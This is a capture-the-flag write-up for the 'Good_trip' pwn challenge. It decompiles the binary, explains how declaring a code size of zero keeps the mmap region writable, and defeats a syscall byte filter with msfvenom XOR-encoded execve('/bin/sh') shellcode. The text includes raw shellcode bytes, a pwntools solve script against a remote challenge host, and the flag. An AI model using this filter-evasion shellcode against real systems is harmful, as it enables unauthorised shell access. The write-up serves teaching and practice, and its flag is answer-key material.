Good_trip (pwn)
if you think about it? it doesn't make any sense. GOOOOD TRIP
Similar to the warmup
challenge, I built an ran the Dockerfile to obtain the libc.so.6
and ld-linux-x86-64.so.2
binaries.
Decompiling the program, we see the following in the main
function:
undefined8 main(EVP_PKEY_CTX *param_1)
{
char cVar1;
int local_14;
void *local_10;
local_14 = 0;
init(param_1);
local_10 = mmap((void *)0x1337131369,0x1000,7,0x22,-1,0);
printf("code size >> ");
__isoc99_scanf(&DAT_00402027,&local_14);
if ((-1 < local_14) && (local_14 < 4097)) {
printf("code >> ");
read(0,local_10,2457);
mprotect(local_10,(long)local_14,5);
cVar1 = filter(local_10);
if (cVar1 != '\0') {
puts("nop, not happening.");
/* WARNING: Subroutine does not return */
exit(-1);
}
exec(local_10);
}
return 0;
}
The code creates a virtual memory of size 0x1000
at a fixed virtual address of 0x1337131369
. It then prompts us for the code size and accepts an integer. This input is checked to ensure that it is between 0 and 4096. We are then prompted by the code, and allowed to enter 2457 bytes. Then, mprotect
is called to change the first local_14
bytes of our bytecode from RWX permission to RX permission. Then, our bytecode undergoes a check using filter
. If it is deemed as safe, then our code gets executed.
Let's see what's going on in filter
:
undefined8 filter(long param_1)
{
int iVar1;
undefined *local_28 [3];
int local_10;
int local_c;
local_c = -1;
local_28[0] = &DAT_00402010; // 0f 05 00 (syscall)
local_28[1] = &DAT_00402013; // 0f 34 00 (sysenter)
local_28[2] = &DAT_00402016; // cd 80 00 (int 0x80)
do {
local_c = local_c + 1;
if (4093 < local_c) {
return 0;
}
local_10 = -1;
while( true ) {
local_10 = local_10 + 1;
if (2 < local_10) break;
iVar1 = memcmp(local_28[local_10],(void *)(local_c + param_1),2);
if (iVar1 == 0) {
return 1;
}
}
} while( true );
}
filter
iterates through all the bytes in our bytecode to ensure that we do not have any syscall
, sysenter
or int 0x80
instructions.
The key observation to make is that the number of bytes which change from RWX to RX permission depends on the size of the code we gave as our first input. If we lied that we had 0 bytes of code, then all our bytecode would retain their RWX permissions. So the solution is to enter 0 as our first input. For our second input, we can encode shellcode and add a decoding stub.
I used the following execve
shellcode:
mov rsp, 0x1337131800
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov rax, 59
xor rdx, rdx
syscall
Using Python, I saved the bytecode into shellcode.bin
:
shellcode = b"\x48\xBC\x00\x18\x13\x37\x13\x00\x00\x00\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x48\x31\xD2\x0F\x05"
with open("shellcode.bin", "wb") as f:
f.write(shellcode)
I then encoded this payload using the msfvenom
x64/xor encoder using the following command: msfvenom -a x64 --platform linux -e x64/xor -f c < shellcode.bin
With the encoded payload, we can then make a solve script to send it. As we don't use libc for this challenge, I didn't include it in the script.
from pwn import *
# fill in binary name
elf = context.binary = ELF("./good_trip")
# fill in libc name
# libc = ELF("./libc.so.6")
if args.REMOTE:
# fill in remote address
p = remote("172.210.129.230", 1351)
else:
# p = elf.process(env = {"LD_PRELOAD": libc.path})
p = elf.process()
# create exploit here
p.sendlineafter(b"size >> ", b"0")
payload = b"\x48\x31\xc9\x48\x81\xe9\xfb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x63\xf1\xde\xe5\xa7\xa1\x9a\x8a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2b\x4d\xde\xfd\xb4\x96\x89\x8a\x63\xf1\x96\xd4\x51\xf7\xd2\x35\x4c\x93\xb7\x8b\x88\x8e\xe9\xe2\x34\xa5\x81\xad\x60\x61\xa1\x8a\x63\xf1\x96\xd4\x75\xae\x9f\x8a"
# pause()
p.sendlineafter(b"code >> ", payload)
p.interactive()
# AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}
Last updated